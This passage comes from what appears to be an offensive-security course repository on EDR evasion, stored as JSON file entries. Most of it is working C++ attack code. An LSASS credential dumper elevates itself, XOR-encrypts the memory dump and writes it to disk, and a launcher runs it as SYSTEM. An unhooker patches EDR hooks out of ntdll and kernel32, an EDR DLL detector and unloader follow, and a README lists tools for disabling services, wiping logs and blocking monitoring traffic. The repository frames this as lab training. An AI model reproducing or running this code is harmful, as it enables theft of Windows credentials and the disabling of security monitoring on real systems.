INVALID_FILE_SIZE || fileSize == 0) {\n        FreeLibrary(hDbgHelp);\n        CloseHandle(hFile);\n        CloseHandle(hLsass);\n        return false;\n    }\n\n    outputBuffer.resize(fileSize);\n\n    // Reset file pointer before reading\n    if (SetFilePointer(hFile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) {\n        FreeLibrary(hDbgHelp);\n        CloseHandle(hFile);\n        CloseHandle(hLsass);\n        return false;\n    }\n\n    DWORD bytesRead = 0;\n    if (!ReadFile(hFile, outputBuffer.data(), fileSize, &bytesRead, NULL) || bytesRead != fileSize) {\n        FreeLibrary(hDbgHelp);\n        CloseHandle(hFile);\n        CloseHandle(hLsass);\n        return false;\n    }\n\n    // Cleanup\n    FreeLibrary(hDbgHelp);\n    CloseHandle(hFile);\n    CloseHandle(hLsass);\n\n    return true;\n}\n\nint main() {\n    std::cout << \"[*] Starting LSASS dumping tool\" << std::endl;\n    \n    // Ensure we have admin rights\n    BOOL isAdmin = FALSE;\n    HANDLE token = NULL;\n    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) {\n        TOKEN_ELEVATION elevation;\n        DWORD size = sizeof(TOKEN_ELEVATION);\n        if (GetTokenInformation(token, TokenElevation, &elevation, sizeof(elevation), &size)) {\n            isAdmin = elevation.TokenIsElevated;\n        }\n        CloseHandle(token);\n    }\n\n    // Auto-elevate if not admin\n    if (!isAdmin) {\n        std::cout << \"[*] Process is not running as administrator, attempting to elevate...\" << std::endl;\n        char path[MAX_PATH] = {0};\n        GetModuleFileNameA(NULL, path, MAX_PATH);\n        SHELLEXECUTEINFOA sei = { sizeof(sei) };\n        sei.lpVerb = \"runas\";\n        sei.lpFile = path;\n        sei.nShow = SW_NORMAL;\n        if (ShellExecuteExA(&sei)) {\n            std::cout << \"[+] Elevation request sent\" << std::endl;\n        } else {\n            std::cout << \"[-] Failed to elevate: \" << GetLastError() << std::endl;\n        }\n        return 0;\n    }\n\n    std::cout << \"[+] Process is running with administrator privileges\" << std::endl;\n\n    // Enable debug privilege and dump LSASS\n    if (EnableSeDebugPrivilege()) {\n        std::cout << \"[+] Successfully enabled SeDebugPrivilege\" << std::endl;\n    } else {\n        std::cout << \"[-] Failed to enable SeDebugPrivilege, continuing anyway...\" << std::endl;\n    }\n    \n    std::vector<BYTE> outputBuffer;\n    std::cout << \"[*] Attempting to dump LSASS process...\" << std::endl;\n        \n    if (!DumpLsassToMemoryBuffer(outputBuffer)) {\n        std::cout << \"[-] Failed to dump LSASS process\" << std::endl;\n        return 1;\n    }\n    \n    if (outputBuffer.empty() || outputBuffer.size() < 100 * 1024) {\n        std::cout << \"[-] Dump appears to be empty or too small (\" << outputBuffer.size() << \" bytes)\" << std::endl;\n        return 1;\n    }\n\n    std::cout << \"[+] Successfully captured LSASS dump in memory (\" << outputBuffer.size() << \" bytes)\" << std::endl;\n\n\n    const BYTE XOR_KEY = 0xAA;\n    std::cout << \"[*] Encrypting dump with XOR key 0xAA...\" << std::endl;\n    for (size_t i = 0; i < outputBuffer.size(); ++i) {\n        outputBuffer[i] ^= XOR_KEY;\n    }\n\n    std::cout << \"[+] Writing encrypted dump to lsass_encrypted.dmp\" << std::endl;\n\n    // Write encrypted dump\n    HANDLE encryptedFile = CreateFileA(\"lsass_encrypted.dmp\", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n    if (encryptedFile != INVALID_HANDLE_VALUE) {\n        DWORD bytesWritten = 0;\n        if (WriteFile(encryptedFile, outputBuffer.data(), (DWORD)outputBuffer.size(), &bytesWritten, NULL)) {\n            std::cout << \"[+] Successfully wrote \" << bytesWritten << \" bytes to encrypted dump file\" << std::endl;\n        } else {\n            std::cout << \"[-] Failed to write to encrypted dump file: \" << GetLastError() << std::endl;\n        }\n        CloseHandle(encryptedFile);\n    } else {\n        std::cout << \"[-] Failed to create encrypted dump file: \" << GetLastError() << std::endl;\n    }\n\n    // Decrypt and write decrypted dump\n    std::cout << \"[*] Decrypting the buffer to lsass_decrypted.dmp for demonstration purposes...\" << std::endl;\n    for (size_t i = 0; i < outputBuffer.size(); ++i) {\n        outputBuffer[i] ^= XOR_KEY;\n    }\n\n    HANDLE decryptedFile = CreateFileA(\"lsass_decrypted.dmp\", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n    if (decryptedFile != INVALID_HANDLE_VALUE) {\n        DWORD bytesWritten = 0;\n        if (WriteFile(decryptedFile, outputBuffer.data(), (DWORD)outputBuffer.size(), &bytesWritten, NULL)) {\n            std::cout << \"[+] Successfully wrote \" << bytesWritten << \" bytes to decrypted dump file\" << std::endl;\n        } else {\n            std::cout << \"[-] Failed to write to decrypted dump file: \" << GetLastError() << std::endl;\n        }\n        CloseHandle(decryptedFile);\n    } else {\n        std::cout << \"[-] Failed to create decrypted dump file: \" << GetLastError() << std::endl;\n    }\n\n    // Free memory\n    std::cout << \"[+] Cleanup: Clearing memory buffers\" << std::endl;\n    outputBuffer.clear();\n    std::vector<BYTE>().swap(outputBuffer);\n\n    std::cout << \"[+] Operation completed successfully\" << std::endl;\n    return 0;\n}"
  },
  {
    "path": "2-custom-edr-evasion/1-Custom-BYOD/system-that-lsass.cpp",
    "content": "#define UNICODE\n#define _UNICODE\n#include <windows.h>\n#include <fstream>\n#include <iostream>\n\nvoid WriteLog(const std::string& message) {\n    std::ofstream log(\"C:\\\\Windows\\\\Temp\\\\launcher.log\", std::ios::app);\n    log << message << std::endl;\n    log.close();\n}\n\nint main() {\n    LPCWSTR targetExe = L\"C:\\\\dump-that-lsass.exe\";  // Update as needed\n\n    STARTUPINFO si = { sizeof(si) };\n    PROCESS_INFORMATION pi = { 0 };\n\n    WriteLog(\"[*] SYSTEM launcher starting...\");\n\n    BOOL result = CreateProcessW(\n        targetExe,\n        NULL,\n        NULL,\n        NULL,\n        FALSE,\n        CREATE_NO_WINDOW,\n        NULL,\n        NULL,\n        &si,\n        &pi\n    );\n\n    if (result) {\n        WriteLog(\"[+] Payload launched successfully as SYSTEM.\");\n        CloseHandle(pi.hProcess);\n        CloseHandle(pi.hThread);\n    } else {\n        DWORD err = GetLastError();\n        WriteLog(\"[-] Failed to launch payload. Error: \" + std::to_string(err));\n    }\n\n    return 0;\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/README.md",
    "content": "# Custom Windows API Based Evasions\n\nThis section has a number of different ideas for evading different kind of monitoring and edr tooling.  They are all experimental but meant for educational training and inspiration.\n\n1. On the **Windows Target 2** machine. I is somewhat disabled but will allow us to go through these though experiments.\n2. Swap back and forth between the files in the C++ folders in the Operator Desktop, and running them on **Windows Target 2**\n> Follow along, I will walk through each of the following, and discuss what they are doing on the system, and issues that they run into and why, and how you could solve them.\n> Detecting common EDR hooking methods.\n```\n./c++/detect-hooks-dlls.exe\n```\n> Unhooking APIs.\n```\nunhooker.exe\n```\n> Detecting all process dlls, including PEB walk.\n```\ndetect-att.exe --all\n```\n>Unload edr dlls.\n```\ndll-unloader.exe\n```\n\n2. Next check out some fun thoughts on potential tricks for disabling monitoring indirectly with golang.\nin the ./golang/* folder.\n> Disable service.\n```\ndisable-service.exe\n```\n> Delete or modify logging file.\n```\nfile-stomp-OG.exe\n```\n> Stop external monitoring with firewall rule.\n```\nfirewall-rule.exe\n```\n> Route to nothing!\n```\nre-route.exe\n```\n\n**Discuss Snuff-Traffic** \n\n\nTime to wrap it up!!! Thanks you!\n\n\n\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/c++/README.md",
    "content": "## Advanced\n\n\nHooking the hookers.\n\nIdentify API hooks of edr. \n\nDLL injects etc.\n\nUnhook hooks. Unload DLLs, etc.\n\n\nOPENEDR often injects DLLs like openhidsvc.dll or openhidsvc64.dll into user processes.\n\n\n| Tool/Lib                                                        | Use                                             |\n| --------------------------------------------------------------- | ----------------------------------------------- |\n| [`Blackbone`](https://github.com/DarthTon/Blackbone)            | Memory reading, module enumeration, PEB parsing |\n| [`HookShark`](https://github.com/CheckPointSW/HookShark)        | Detects common EDR hook types                   |\n| [`HollowHunter`](https://github.com/hasherezade/hollows_hunter) | Scans for code injection, hooks, etc.           |\n| [`PE-sieve`](https://github.com/hasherezade/pe-sieve)           | Detects inline hooks, manual mapping, hollowing |\n\n\nTry opening target processes with high rights like PROCESS_ALL_ACCESS\nIf you receive Access Denied (ERROR_ACCESS_DENIED) but you’re SYSTEM, it’s probably PPL/PP\nKnown PPLs: lsass.exe, winlogon.exe, csrss.exe, services.exe\n\nEDRSpy.exe <pid>\nEDRSpy.exe --all\n\n\n✅ Lists modules via EnumProcessModules\n✅ Walks the PEB → LDR → InMemoryOrderModuleList\n✅ Detects suspicious DLLs by keyword\n✅ Detects inline API hooks\n✅ Compares function bytes (memory vs disk)\n✅ Flags modules not backed by files (e.g., memory-only DLLs)\n✅ Detects protected processes (PPL / Credential Guard)\n✅ Reads registry to check if Credential Guard is enabled\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/c++/detect-att.cpp",
    "content": "// EDRSpy - Full Tool with Remote PEB Walk and Batch Scan\n#define UNICODE\n#define _UNICODE\n#include <windows.h>\n#include <psapi.h>\n#include <iostream>\n#include <tlhelp32.h>\n#include <tchar.h>\n#include <string>\n#include <vector>\n#include <winternl.h>   // use official UNICODE_STRING, PEB, PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, PROCESS_BASIC_INFORMATION\n#include <fstream>\n#include <cstddef>      // offsetof\n#include <cstdint>      // fixed-width ints\n#include <cstring>      // memset etc.\n\n#pragma comment(lib, \"psapi.lib\")\n\n// NtQueryInformationProcess prototype (already in winternl.h on most toolchains; keep a pointer type)\ntypedef NTSTATUS (NTAPI* pNtQueryInformationProcess)(\n    HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG\n);\n\n// --- Suspicious keywords ---\nstatic std::vector<std::string> suspicious_keywords = {\"openhid\", \"edr\", \"sensor\", \"agent\"};\n\nstatic bool IsSuspiciousModule(const std::string& modName) {\n    for (const auto& kw : suspicious_keywords) {\n        if (modName.find(kw) != std::string::npos) return true;\n    }\n    return false;\n}\n\n// --- Check if a module base is backed by a file in the target process ---\nstatic bool IsBackedByFileRemote(HANDLE hProc, void* baseAddr) {\n    MEMORY_BASIC_INFORMATION mbi{};\n    if (!VirtualQueryEx(hProc, baseAddr, &mbi, sizeof(mbi)))\n        return false;\n\n    if (mbi.Type != MEM_IMAGE)\n        return false;\n\n    char filename[MAX_PATH]{};\n    if (GetMappedFileNameA(hProc, baseAddr, filename, MAX_PATH) == 0)\n        return false;\n\n    return true;\n}\n\n// --- Read remote UNICODE_STRING contents into std::wstring ---\nstatic bool ReadRemoteUnicodeString(HANDLE hProc, const UNICODE_STRING& remoteStr, std::wstring& out) {\n    if (!remoteStr.Buffer || remoteStr.Length == 0) return false;\n\n    size_t wcharCount = remoteStr.Length / sizeof(WCHAR);\n    std::vector<wchar_t> buf(wcharCount + 1, L'\\0');\n\n    SIZE_T bytesRead = 0;\n    if (!ReadProcessMemory(hProc, remoteStr.Buffer, buf.data(), remoteStr.Length, &bytesRead))\n        return false;\n\n    out.assign(buf.data(), wcharCount);\n    return true;\n}\n\n// --- Remote PEB Walk via InMemoryOrderModuleList ---\nstatic void RemotePEBWalk(DWORD pid) {\n    HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);\n    if (!hProc) {\n        // std::cerr << \"[-] OpenProcess failed for PID \" << pid << \" (\" << GetLastError() << \")\\n\";\n        return;\n    }\n\n    HMODULE hNtdll = GetModuleHandleW(L\"ntdll.dll\");\n    auto NtQueryInformationProcess =\n        reinterpret_cast<pNtQueryInformationProcess>(GetProcAddress(hNtdll, \"NtQueryInformationProcess\"));\n    if (!NtQueryInformationProcess) {\n        CloseHandle(hProc);\n        return;\n    }\n\n    PROCESS_BASIC_INFORMATION pbi{};\n    if (NtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr) != 0 || !pbi.PebBaseAddress) {\n        CloseHandle(hProc);\n        return;\n    }\n\n    // Read remote PEB\n    PEB peb{};\n    SIZE_T bytesRead = 0;\n    if (!ReadProcessMemory(hProc, pbi.PebBaseAddress, &peb, sizeof(peb), &bytesRead) || !peb.Ldr) {\n        CloseHandle(hProc);\n        return;\n    }\n\n    // Read remote PEB_LDR_DATA\n    PEB_LDR_DATA ldr{};\n    if (!ReadProcessMemory(hProc, peb.Ldr, &ldr, sizeof(ldr), &bytesRead)) {\n        CloseHandle(hProc);\n        return;\n    }\n\n    // Compute the REMOTE address of InMemoryOrderModuleList head\n    BYTE* remoteLdrBase = reinterpret_cast<BYTE*>(peb.Ldr);\n    BYTE* remoteListHeadAddr = remoteLdrBase + offsetof(PEB_LDR_DATA, InMemoryOrderModuleList);\n\n    // Read the head LIST_ENTRY (remote)\n    LIST_ENTRY remoteHead{};\n    if (!ReadProcessMemory(hProc, remoteListHeadAddr, &remoteHead, sizeof(remoteHead), &bytesRead)) {\n        CloseHandle(hProc);\n        return;\n    }\n\n    std::cout << \"\\n[+] Remote PEB Module Walk (PID: \" << pid << \"):\\n\";\n\n    // Iterate the circular doubly-linked list\n    void* remoteFlink = remoteHead.Flink;\n    while (remoteFlink && remoteFlink != remoteListHeadAddr) {\n        // Each entry address = Flink - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)\n        BYTE* remoteEntryAddr = reinterpret_cast<BYTE*>(remoteFlink) - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);\n\n        LDR_DATA_TABLE_ENTRY remoteEntry{}; // definition from <winternl.h>\n        if (!ReadProcessMemory(hProc, remoteEntryAddr, &remoteEntry, sizeof(remoteEntry), &bytesRead))\n            break;\n\n        std::wstring wFullDll;\n        if (!ReadRemoteUnicodeString(hProc, remoteEntry.FullDllName, wFullDll)) {\n            // Move to next anyway to avoid getting stuck\n        }\n\n        std::string modName(wFullDll.begin(), wFullDll.end());\n        if (!modName.empty()) {\n            std::cout << \"  \" << modName;\n            bool sus    = IsSuspiciousModule(modName);\n            bool backed = IsBackedByFileRemote(hProc, remoteEntry.DllBase);\n\n            if (sus)     std::cout << \" --> [!!] Keyword match\";\n            if (!backed) std::cout << \" --> [!!] NOT backed by file\";\n            std::cout << '\\n';\n        }\n\n        // Advance to next entry\n        remoteFlink = remoteEntry.InMemoryOrderLinks.Flink;\n        if (!remoteFlink) break; // corrupted list guard\n    }\n\n    CloseHandle(hProc);\n}\n\nstatic void BatchScanAllProcesses() {\n    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n    if (snapshot == INVALID_HANDLE_VALUE) {\n        std::cerr << \"[-] Failed to create snapshot.\\n\";\n        return;\n    }\n\n#ifdef UNICODE\n    PROCESSENTRY32W pe32{};\n    pe32.dwSize = sizeof(pe32);\n    if (!Process32FirstW(snapshot, &pe32)) {\n        CloseHandle(snapshot);\n        return;\n    }\n    do {\n        RemotePEBWalk(pe32.th32ProcessID);\n    } while (Process32NextW(snapshot, &pe32));\n#else\n    PROCESSENTRY32 pe32{};\n    pe32.dwSize = sizeof(pe32);\n    if (!Process32First(snapshot, &pe32)) {\n        CloseHandle(snapshot);\n        return;\n    }\n    do {\n        RemotePEBWalk(pe32.th32ProcessID);\n    } while (Process32Next(snapshot, &pe32));\n#endif\n\n    CloseHandle(snapshot);\n}\n\nint main(int argc, char* argv[]) {\n    if (argc == 2) {\n        std::string arg = argv[1];\n        if (arg == \"--all\") {\n            BatchScanAllProcesses();\n            return 0;\n        }\n        DWORD targetPid = 0;\n        try {\n            targetPid = static_cast<DWORD>(std::stoul(arg));\n        } catch (...) {\n            std::cerr << \"[-] Invalid PID.\\n\";\n            return 1;\n        }\n        RemotePEBWalk(targetPid);\n        return 0;\n    }\n\n    std::cout << \"[*] No PID specified. Use: EDRSpy.exe <pid> or --all\\n\";\n    return 0;\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/c++/detect-hooks-dlls.cpp",
    "content": "#define UNICODE\n#define _UNICODE\n#include <windows.h>\n#include <psapi.h>\n#include <iostream>\n#include <tlhelp32.h>\n#include <tchar.h>\n#include <string>\n#include <vector>\n#include <fstream>\n\n#pragma comment(lib, \"psapi.lib\")\n\nstd::vector<std::string> suspicious_keywords = {\n    \"openhid\", \"edr\", \"sensor\", \"agent\"\n};\n\nbool IsSuspiciousModule(const std::string& modName) {\n    for (auto& keyword : suspicious_keywords) {\n        if (modName.find(keyword) != std::string::npos)\n            return true;\n    }\n    return false;\n}\n\nvoid ListModules(DWORD pid) {\n    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);\n    if (!hProcess) {\n        std::cerr << \"[-] Failed to open process: \" << pid << std::endl;\n        return;\n    }\n\n    HMODULE hMods[1024];\n    DWORD cbNeeded;\n    char szModName[MAX_PATH];\n\n    std::cout << \"\\n[+] Loaded modules for PID: \" << pid << std::endl;\n\n    if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {\n        for (size_t i = 0; i < cbNeeded / sizeof(HMODULE); ++i) {\n            if (GetModuleFileNameExA(hProcess, hMods[i], szModName, sizeof(szModName))) {\n                std::string mod = szModName;\n                std::cout << \"  \" << mod << std::endl;\n                if (IsSuspiciousModule(mod)) {\n                    std::cout << \"  --> [!!] Suspicious module detected!\" << std::endl;\n                }\n            }\n        }\n    }\n    CloseHandle(hProcess);\n}\n\nbool CheckInlineHook(LPCSTR dll, LPCSTR function) {\n    HMODULE hMod = GetModuleHandleA(dll);\n    if (!hMod) return false;\n\n    FARPROC pFunc = GetProcAddress(hMod, function);\n    if (!pFunc) return false;\n\n    BYTE* bytes = reinterpret_cast<BYTE*>(pFunc);\n\n    if (bytes[0] == 0xE9) {\n        std::cout << \"[!] Inline hook detected on \" << dll << \"!\" << std::endl;\n        return true;\n    }\n\n    if (bytes[0] == 0x68 && bytes[5] == 0xC3) {\n        std::cout << \"[!] Push-Ret hook detected on \" << dll << \"!\" << std::endl;\n        return true;\n    }\n\n    return false;\n}\n\nbool CompareFuncBytes(LPCSTR dll, LPCSTR func) {\n    HMODULE hMod = GetModuleHandleA(dll);\n    FARPROC pFunc = GetProcAddress(hMod, func);\n\n    char sysPath[MAX_PATH];\n    GetSystemDirectoryA(sysPath, MAX_PATH);\n    strcat_s(sysPath, \"\\\\\");\n    strcat_s(sysPath, dll);\n\n    HANDLE hFile = CreateFileA(sysPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);\n    if (hFile == INVALID_HANDLE_VALUE) return false;\n\n    DWORD fileSize = GetFileSize(hFile, NULL);\n    HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, fileSize, NULL);\n    if (!hMap) return false;\n\n    LPVOID lpMap = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);\n    if (!lpMap) return false;\n\n    HMODULE hRefMod = LoadLibraryExA(sysPath, NULL, DONT_RESOLVE_DLL_REFERENCES);\n    FARPROC pRefFunc = GetProcAddress(hRefMod, func);\n\n    bool tampered = memcmp((void*)pFunc, (void*)pRefFunc, 16) != 0;\n\n    if (tampered)\n        std::cout << \"[!!] Memory/disk mismatch for \" << func << \" in \" << dll << std::endl;\n\n    FreeLibrary(hRefMod);\n    UnmapViewOfFile(lpMap);\n    CloseHandle(hMap);\n    CloseHandle(hFile);\n\n    return tampered;\n}\n\nint main() {\n    DWORD pid = GetCurrentProcessId();\n    ListModules(pid);\n\n    std::vector<std::pair<const char*, const char*>> apis = {\n        {\"kernel32.dll\", \"CreateFileW\"},\n        {\"ntdll.dll\", \"NtOpenProcess\"},\n        {\"kernel32.dll\", \"WriteFile\"},\n        {\"kernel32.dll\", \"ReadFile\"},\n        {\"kernel32.dll\", \"CreateRemoteThread\"},\n        {\"kernel32.dll\", \"VirtualAllocEx\"}\n    };\n\n    std::cout << \"\\n[+] Checking for inline hooks...\" << std::endl;\n    for (auto& api : apis) {\n        CheckInlineHook(api.first, api.second);\n    }\n\n    std::cout << \"\\n[+] Comparing memory vs disk for tampering...\" << std::endl;\n    for (auto& api : apis) {\n        CompareFuncBytes(api.first, api.second);\n    }\n\n    return 0;\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/c++/unhooker.cpp",
    "content": "// UnhookerTool - Restore Hooked API Bytes (with PE header validation, trampoline detection, and hook source logging)\n#define UNICODE\n#define _UNICODE\n#include <windows.h>\n#include <psapi.h>\n#include <iostream>\n#include <fstream>\n#include <vector>\n#include <iomanip>\n#include <cstdint>   // for int32_t\n#include <cstring>   // for memset, memcmp\n\n#pragma comment(lib, \"psapi.lib\")\n\nstatic bool ComparePEHeaders(BYTE* loadedBase, BYTE* diskBase) {\n    if (!loadedBase || !diskBase) return false;\n\n    IMAGE_DOS_HEADER* dos1 = (IMAGE_DOS_HEADER*)loadedBase;\n    IMAGE_DOS_HEADER* dos2 = (IMAGE_DOS_HEADER*)diskBase;\n    if (dos1->e_magic != IMAGE_DOS_SIGNATURE || dos2->e_magic != IMAGE_DOS_SIGNATURE)\n        return false;\n\n    IMAGE_NT_HEADERS* nt1 = (IMAGE_NT_HEADERS*)(loadedBase + dos1->e_lfanew);\n    IMAGE_NT_HEADERS* nt2 = (IMAGE_NT_HEADERS*)(diskBase + dos2->e_lfanew);\n    if (nt1->Signature != IMAGE_NT_SIGNATURE || nt2->Signature != IMAGE_NT_SIGNATURE)\n        return false;\n\n    return (nt1->OptionalHeader.SizeOfImage == nt2->OptionalHeader.SizeOfImage) &&\n           (nt1->FileHeader.TimeDateStamp   == nt2->FileHeader.TimeDateStamp);\n}\n\nstatic void DumpHookTarget(void* addr) {\n    if (!addr) return;\n\n    BYTE* p = (BYTE*)addr;\n\n    // Pattern 1: JMP rel32 (E9 xx xx xx xx)\n    if (p[0] == 0xE9) {\n        int32_t offset = *(int32_t*)(p + 1);\n        BYTE* dest = p + 5 + offset;\n        std::cout << \"[!] JMP Hook detected -> 0x\" << std::hex << (void*)dest;\n\n        HMODULE hMods[1024];\n        DWORD cbNeeded = 0;\n        if (EnumProcessModules(GetCurrentProcess(), hMods, sizeof(hMods), &cbNeeded)) {\n            const size_t count = cbNeeded / sizeof(HMODULE);\n            for (size_t i = 0; i < count; ++i) {\n                MODULEINFO mi{};\n                if (GetModuleInformation(GetCurrentProcess(), hMods[i], &mi, sizeof(mi))) {\n                    if ((BYTE*)dest >= (BYTE*)mi.lpBaseOfDll &&\n                        (BYTE*)dest <  (BYTE*)mi.lpBaseOfDll + mi.SizeOfImage) {\n                        char modName[MAX_PATH]{};\n                        GetModuleFileNameA(hMods[i], modName, MAX_PATH);\n                        std::cout << \" in \" << modName;\n                        break;\n                    }\n                }\n            }\n        }\n        std::cout << std::endl;\n        return;\n    }\n\n    // Pattern 2: 64-bit trampoline \"mov rax, imm64; jmp rax\"  ->  48 B8 <8 bytes> FF E0\n    if (p[0] == 0x48 && p[1] == 0xB8 && p[10] == 0xFF && p[11] == 0xE0) {\n        void* dest = *(void**)(p + 2);\n        std::cout << \"[!] 64-bit trampoline -> 0x\" << std::hex << dest;\n\n        HMODULE hMods[1024];\n        DWORD cbNeeded = 0;\n        if (EnumProcessModules(GetCurrentProcess(), hMods, sizeof(hMods), &cbNeeded)) {\n            const size_t count = cbNeeded / sizeof(HMODULE);\n            for (size_t i = 0; i < count; ++i) {\n                MODULEINFO mi{};\n                if (GetModuleInformation(GetCurrentProcess(), hMods[i], &mi, sizeof(mi))) {\n                    if ((BYTE*)dest >= (BYTE*)mi.lpBaseOfDll &&\n                        (BYTE*)dest <  (BYTE*)mi.lpBaseOfDll + mi.SizeOfImage) {\n                        char modName[MAX_PATH]{};\n                        GetModuleFileNameA(hMods[i], modName, MAX_PATH);\n                        std::cout << \" in \" << modName;\n                        break;\n                    }\n                }\n            }\n        }\n        std::cout << std::endl;\n    }\n}\n\nstatic bool RestoreFunctionFromDisk(const char* dllName, const char* funcName) {\n    if (!dllName || !funcName) return false;\n\n    HMODULE hMod = GetModuleHandleA(dllName);\n    if (!hMod) return false;\n\n    FARPROC hookedFunc = GetProcAddress(hMod, funcName);\n    if (!hookedFunc) return false;\n\n    DumpHookTarget((void*)hookedFunc);\n\n    char sysPath[MAX_PATH]{};\n    GetSystemDirectoryA(sysPath, MAX_PATH);\n    strcat_s(sysPath, \"\\\\\");\n    strcat_s(sysPath, dllName);\n\n    HANDLE hFile = CreateFileA(sysPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);\n    if (hFile == INVALID_HANDLE_VALUE) return false;\n\n    DWORD fileSize = GetFileSize(hFile, NULL);\n    if (fileSize == INVALID_FILE_SIZE || fileSize == 0) {\n        CloseHandle(hFile);\n        return false;\n    }\n\n    HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);\n    if (!hMap) {\n        CloseHandle(hFile);\n        return false;\n    }\n\n    BYTE* diskBase = (BYTE*)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);\n    if (!diskBase) {\n        CloseHandle(hMap);\n        CloseHandle(hFile);\n        return false;\n    }\n\n    BYTE* memBase = (BYTE*)hMod;\n\n    if (!ComparePEHeaders(memBase, diskBase)) {\n        std::cout << \"[-] PE headers differ for \" << dllName << \". Using fallback.\\n\";\n\n        DWORD oldProtect = 0;\n        if (VirtualProtect((LPVOID)hookedFunc, 16, PAGE_EXECUTE_READWRITE, &oldProtect)) {\n            BYTE* patch = (BYTE*)hookedFunc;\n\n            if (patch[0] == 0xE9) {\n                std::cout << \"[~] JMP stub found. Neutralizing inline hook for \" << funcName << std::endl;\n                memset(patch, 0x90, 5); // NOP the 5-byte JMP\n            } else if (patch[0] == 0x48 && patch[1] == 0xB8 && patch[10] == 0xFF && patch[11] == 0xE0) {\n                std::cout << \"[~] 64-bit trampoline detected. Neutralizing for \" << funcName << std::endl;\n                memset(patch, 0x90, 12); // NOP the whole trampoline\n            } else {\n                std::cout << \"[!] No known hook pattern for \" << funcName << std::endl;\n            }\n\n            VirtualProtect((LPVOID)hookedFunc, 16, oldProtect, &oldProtect);\n        }\n\n        UnmapViewOfFile(diskBase);\n        CloseHandle(hMap);\n        CloseHandle(hFile);\n        return false;\n    }\n\n    // Safe path: copy pristine bytes from a clean mapped instance\n    HMODULE cleanMod = LoadLibraryExA(sysPath, NULL, DONT_RESOLVE_DLL_REFERENCES);\n    if (!cleanMod) {\n        UnmapViewOfFile(diskBase);\n        CloseHandle(hMap);\n        CloseHandle(hFile);\n        return false;\n    }\n\n    FARPROC cleanFunc = GetProcAddress(cleanMod, funcName);\n    if (!cleanFunc) {\n        FreeLibrary(cleanMod);\n        UnmapViewOfFile(diskBase);\n        CloseHandle(hMap);\n        CloseHandle(hFile);\n        return false;\n    }\n\n    DWORD oldProtect = 0;\n    if (!VirtualProtect((LPVOID)hookedFunc, 16, PAGE_EXECUTE_READWRITE, &oldProtect)) {\n        FreeLibrary(cleanMod);\n        UnmapViewOfFile(diskBase);\n        CloseHandle(hMap);\n        CloseHandle(hFile);\n        return false;\n    }\n    std::memcpy(\n        reinterpret_cast<void*>(hookedFunc),\n        reinterpret_cast<const void*>(cleanFunc),\n        16\n    );\n\n    VirtualProtect((LPVOID)hookedFunc, 16, oldProtect, &oldProtect);\n\n    FreeLibrary(cleanMod);\n    UnmapViewOfFile(diskBase);\n    CloseHandle(hMap);\n    CloseHandle(hFile);\n\n    std::cout << \"[+] Unhooked \" << funcName << \" in \" << dllName << std::endl;\n    return true;\n}\n\nint main() {\n    std::vector<std::pair<const char*, const char*>> targets = {\n        {\"ntdll.dll\",  \"NtOpenProcess\"},\n        {\"kernel32.dll\",\"CreateFileW\"},\n        {\"kernel32.dll\",\"VirtualAllocEx\"},\n        {\"kernel32.dll\",\"ReadFile\"},\n        {\"kernel32.dll\",\"WriteFile\"},\n    };\n\n    for (auto& target : targets) {\n        RestoreFunctionFromDisk(target.first, target.second);\n    }\n\n    return 0;\n}\n"
  },
  {
    "path": "2-custom-edr-evasion/2-Custom-API/c++/unload-dlls.cpp",
    "content": "// EDR DLL Unloader - Safely attempt to unload injected, file-backed DLLs from target processes\n// DISCLAIMER: FreeLibrary in a remote process ONLY works for legitimately loaded, file-backed modules.\n// It will NOT remove manual-mapped (memory-only) payloads. Use with caution in demos.\n//\n// Features:\n//  - Enables SeDebugPrivilege\n//  - Target a single PID (--pid N) or all processes (--all)\n//  - Filter by substring (--module substring), defaults to suspicious keywords (openhid, edr, sensor, agent)\n//  - Dry run (--dry-run): report what would be unloaded without changing anything\n//  - Verifies module is file-backed before attempting unload\n//  - Finds the remote address of FreeLibrary via kernel32 base + RVA from local process\n//\n// Build (MSVC): cl /EHsc /O2 edr_unloader.cpp /link psapi.lib advapi32.lib\n// Build (MinGW-w64): x86_64-w64-mingw32-g++ -O2 edr_unloader.cpp -lpsapi -ladvapi32 -o edr_unloader.exe\n\n#define UNICODE\n#define _UNICODE\n#include <windows.h>\n#include <psapi.h>\n#include <tlhelp32.h>\n#include <iostream>\n#include <vector>\n#include <string>\n#include <algorithm>\n#include <cstdint>\n#include <cstring>\n\n#pragma comment(lib, \"psapi.lib\")\n#pragma comment(lib, \"advapi32.lib\")\n\nstatic const char* kDefaultKeywords[] = {\"openhid\", \"edr\", \"sensor\", \"agent\"};\n\nstatic bool iequals_ascii(const std::string& a, const std::string& b) {\n    if (a.size() != b.size()) return false;\n    for (size_t i = 0; i < a.size(); ++i) {\n        char ca = (char)tolower((unsigned char)a[i]);\n        char cb = 